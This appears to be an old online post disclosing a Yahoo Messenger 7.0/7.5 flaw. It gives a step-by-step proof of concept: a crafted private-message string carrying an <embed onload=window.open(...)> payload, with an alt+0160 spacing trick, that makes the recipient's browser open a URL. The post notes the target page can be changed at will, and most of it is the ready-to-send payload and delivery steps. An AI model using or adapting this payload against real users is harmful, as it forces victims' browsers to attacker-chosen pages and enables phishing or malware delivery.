Exploiting Yahoo messenger 7.0/7.5 Print E-mail

I found another vulnerability in yahoo messenger (i'm the discoverer of Yahoo messenger handling denial of service)  that if you receive a Private message with this string "helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?("  (without quotes) Yahoo messenger open in this case google.com in the internet explorer of the remote victim.

Yahoo messenger bug proof of concept:

1. Open messenger and log it.

2. Open a yahoo chat third party like yahelite through Ymsgr protocol and log it with another account.

3. Send a Pm to the messenger account with this string: s: helomsg :+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg :+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg :+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(

4. The remote user will open www.google.com (you can change)

Note: "helomsg :" this space must be created with alt+0160 and this "s: " with a space

s:[space]helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed onload=window.open('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(

Tested in yahoo messenger 7.0/7.5

Note: Obviously you can change the page for the desired.
